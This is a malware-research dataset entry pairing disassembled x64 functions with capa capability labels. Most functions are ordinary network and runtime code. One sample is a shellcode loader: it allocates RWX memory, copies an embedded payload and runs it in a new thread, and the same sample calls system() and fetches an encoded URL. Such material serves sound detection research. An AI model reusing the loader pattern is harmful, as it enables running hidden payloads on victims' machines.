joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400c5c70
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x1400c5d94
cmp r8d, 0xff
jne 0x1400c5cd1
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x1400c5cbb
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0x100870]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.1400a22d0
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.1400a22d0
cmp r8d, 0xfb
jne 0x1400c5ce3
lea r9, str.WILL
jmp 0x1400c5d21
cmp r8d, 0xfc
jne 0x1400c5cf5
lea r9, str.WONT
jmp 0x1400c5d21
cmp r8d, 0xfd
jne 0x1400c5d07
lea r9, [0x140101294]
jmp 0x1400c5d21
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x1400c5d7d
cmp r10d, 0x27
jg 0x1400c5d54
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0x100e90]
test r8, r8
jne 0x1400c5d64
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.1400a22d0
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x1400c5d3b
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.1400a22d0
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.1400a22d0
add rsp, 0x38
ret

Function at 0x1400c60e0
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400c613f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400a2150
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.1400c5c70
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1400c62f0
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400c6498
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400c6355
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400c6355
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400c6355
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400c638c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400c63e2
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400c63e2
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400c63e2
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400c63e2
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400c63e2
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.1400c5da0
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400c6444
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400a2150
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400c6170
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400c6490
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400a2150
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400c7c00
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1401205e8]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400c7c95
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400c7cf6
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.1400a2150
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400db0d0
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400c7db1
sub ecx, 1
je 0x1400c7e24
sub ecx, 1
je 0x1400c7d60
cmp ecx, 1
je 0x1400c7d43
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400fed10]
call fcn.1400a2150
jmp 0x1400c7e24
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400c7930
test eax, eax
je 0x1400c7e24
jmp 0x1400c7cca
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400c7e24
sub rax, rsi
cmp rax, rbp
jae 0x1400c7e24
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.1400a22d0
jmp 0x1400c7e24
cmp r8d, 4
jle 0x1400c7e24
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400c7e24
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.1400a2070
mov esi, eax
test eax, eax
je 0x1400c7e03
mov edx, 5
mov rcx, rbx
call fcn.1400c88f0
mov eax, esi
jmp 0x1400c7cca
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.1400b0b50
mov rcx, r14
call fcn.1400b0e30
test eax, eax
je 0x1400c7cc8
mov edx, 5
mov rcx, rbx
call fcn.1400c88f0
mov eax, Ordinal_46
jmp 0x1400c7cca
Function at 0x1400dabc0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400dac02
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400dac49
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400daca2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400dac60
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400dace3
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14010440b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14010440c]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400dacb0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400dbf3c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400dbf86
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400dbf86
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400dbf86
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400dbf86
cmp dword [rcx + 0x84], 0xe
jbe 0x1400dbf86
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400dbf88
xor al, al
add rsp, 0x28
ret
Function at 0x401634
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
lea rdx, str.executing_shellcode...
mov rcx, qword [0x006064d0]
call fcn.004aecc0
mov rdx, qword [0x006064e0]
mov rcx, rax
call fcn.00470400
lea rdx, str.runShellCodeAsThread_int_argc__char__argv__
mov rcx, qword [0x006064d0]
call fcn.004aecc0
mov rdx, qword [0x006064e0]
mov rcx, rax
call fcn.00470400
mov dword [rbp - 4], 0
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x14afb5
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
lea rax, str.9_6
mov edx, 0x14afb5
mov r8, rdx
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp - 0x10]
mov rdx, qword [rbp + 0x18]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rdx
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x401701

Function at 0x401d50
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rcx, [0x00601221]
call sub.msvcrt.dll_system
nop
add rsp, 0x20
pop rbp
ret
Function at 0x402f93
Capabilities:
Create http request

Disassembly:
push rbp
sub rsp, 0x470
lea rbp, [rsp + 0x80]
movabs rax, 0x772f2f3a70747468
movabs rdx, 0x6564746f6e2e7777
mov qword [rbp + 0x3b0], rax
mov qword [rbp + 0x3b8], rdx
movabs rax, 0x616d646574636574
movabs rdx, 0x6373756f6963696c
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x3c8], rdx
movabs rax, 0x2f6d6f632e65646f
mov qword [rbp + 0x3d0], rax
mov word [rbp + 0x3d8], 0x2f
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x3e8], rax
lea rdx, [rbp + 0x3b0]
mov rax, qword [rbp + 0x3e8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x84000000
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x3e0], rax
cmp qword [rbp + 0x3e0], 0
jne 0x4030a4
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 0
jmp 0x4030cf
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 1
add rsp, 0x470
pop rbp
ret
Function at 0x40ce30
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00419d70
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00419d70
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x40cea0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x0062d104]
mov r12, rcx
test ebx, ebx
jle 0x40cfd0
mov rax, qword [0x0062d108]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x40ceec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x40cf73
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x40ced0
mov rcx, r12
call fcn.0040d850
mov rsi, rax
test rax, rax
je 0x40cff2
mov rax, qword [0x0062d108]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.0040d980
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0062d108]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40cfd7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x40cf6c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x40cf80
add dword [0x0062d104], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x0062d108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40cf6c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.0040ce30
nop dword [rax]
xor ebx, ebx
jmp 0x40cef7
mov rax, qword [0x0062d108]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.0040ce30
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.0040ce30
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x40d4c0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0062d160]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0062d140]
test rbx, rbx
je 0x40d514
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x40d50b
test r12, r12
je 0x40d50b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40d4f0
lea rcx, [0x0062d160]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x40d850
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x00606ab0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x40d870
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x40d878
ret
cmp word [r8 + 0x18], 0x20b
jne 0x40d870
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x40d8c5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x40d8bc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40d870
add rax, 0x28
cmp rax, r9
jne 0x40d8a8
xor eax, eax
ret

Function at 0x40d8d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x00606ab0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x40d8f0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x40d8f8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x40d8f0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x40d980
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x00606ab0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x40d9a0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x40d9a8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x40dbd0
Capabilities:
Allocate thread local storage

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov eax, dword [0x0062d148]
mov edi, ecx
mov rsi, rdx
test eax, eax
jne 0x40d550
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov edx, 0x18
mov ecx, 1
call sub.msvcrt.dll_calloc
mov rbx, rax
test rax, rax
je 0x40d5a3
mov dword [rax], edi
lea rcx, [0x0062d160]
mov qword [rax + 8], rsi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x0062d140]
lea rcx, [0x0062d160]
mov qword [0x0062d140], rbx
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
or eax, 0xffffffff
jmp 0x40d546
push r12
push rbx
sub rsp, 0x28
mov rbx, rcx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ecx, eax
cmp eax, 0xffffffff
je 0x40dc00
mov rdx, r12
mov dword [rbx], eax
add rsp, 0x28
pop rbx
pop r12
jmp 0x41a070
add rsp, 0x28
pop rbx
pop r12
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
test rdx, rdx
jne 0x41a080
xor eax, eax
ret
jmp 0x40d530

Function at 0x40dc40
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
sub rsp, 0x28
mov r12d, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, r12d
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, r13d
mov r12, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, r12
add rsp, 0x28
pop r12
pop r13
ret

Function at 0x40dc80
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x40dc98
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x41b2a0
Capabilities:
Manipulate console buffer

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
movss xmm0, dword [rax + 0xc]
cvttss2si eax, xmm0
mov edx, eax
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 8]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp - 0xc], ax
mov rax, qword [rbp + 0x10]
movss xmm0, dword [rax + 0x10]
cvttss2si eax, xmm0
mov word [rbp - 0xa], ax
mov rax, qword [0x0062d060]
mov edx, dword [rbp - 0xc]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
call rax
mov rax, qword [0x0062d060]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call rax
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 8]
neg eax
mov dword [rbp - 4], eax
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 8]
cmp dword [rbp - 4], eax
jge 0x41b33a
mov edx, 0x20
mov rcx, qword [0x006064d0]
call fcn.004aeda0
add dword [rbp - 4], 1
jmp 0x41b317
mov rax, qword [rbp + 0x10]
movss xmm0, dword [rax]
cvttss2si eax, xmm0
mov edx, eax
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 8]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp - 0xc], ax
mov rax, qword [rbp + 0x10]
movss xmm0, dword [rax + 4]
cvttss2si eax, xmm0
mov word [rbp - 0xa], ax
mov rax, qword [0x0062d060]
mov edx, dword [rbp - 0xc]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
call rax
mov rax, qword [0x0062d060]
mov edx, 0xa
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call rax
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 8]
neg eax
mov dword [rbp - 8], eax
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 8]
cmp dword [rbp - 8], eax
jge 0x41b3c7
mov edx, 0x3d
mov rcx, qword [0x006064d0]
call fcn.004aeda0
add dword [rbp - 8], 1
jmp 0x41b3a4
mov rax, qword [0x0062d060]
mov edx, 0xf
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call rax
mov rax, qword [rbp + 0x10]
movss xmm0, dword [rax]
mov rax, qword [rbp + 0x10]
movss dword [rax + 0xc], xmm0
mov rax, qword [rbp + 0x10]
movss xmm0, dword [rax + 4]
mov rax, qword [rbp + 0x10]
movss dword [rax + 0x10], xmm0
nop
add rsp, 0x30
pop rbp
ret
Function at 0x41b480
Capabilities:
Manipulate console buffer

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
movss xmm0, dword [rax + 8]
cvttss2si eax, xmm0
mov word [rbp - 4], ax
mov rax, qword [rbp + 0x10]
movss xmm0, dword [rax + 0xc]
cvttss2si eax, xmm0
mov word [rbp - 2], ax
mov rax, qword [0x0062d060]
mov edx, dword [rbp - 4]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
call rax
mov edx, 0x20
mov rcx, qword [0x006064d0]
call fcn.004aeda0
mov rax, qword [rbp + 0x10]
movss xmm0, dword [rax]
cvttss2si eax, xmm0
mov word [rbp - 4], ax
mov rax, qword [rbp + 0x10]
movss xmm0, dword [rax + 4]
cvttss2si eax, xmm0
mov word [rbp - 2], ax
mov rax, qword [0x0062d060]
mov edx, dword [rbp - 4]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
call rax
mov rax, qword [0x0062d060]
mov edx, 0xc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call rax
mov edx, 0x30
mov rcx, qword [0x006064d0]
call fcn.004aeda0
mov rax, qword [0x0062d060]
mov edx, 0xf
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call rax
mov rax, qword [rbp + 0x10]
movss xmm0, dword [rax]
mov rax, qword [rbp + 0x10]
movss dword [rax + 8], xmm0
mov rax, qword [rbp + 0x10]
movss xmm0, dword [rax + 4]
mov rax, qword [rbp + 0x10]
movss dword [rax + 0xc], xmm0
nop
add rsp, 0x30
pop rbp
ret
Function at 0x4769a0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x4769c7
call rbp
cmp dword [rax], 4
jne 0x4769e4
mov rcx, rdi
call fcn.004767c0
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x4769c0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret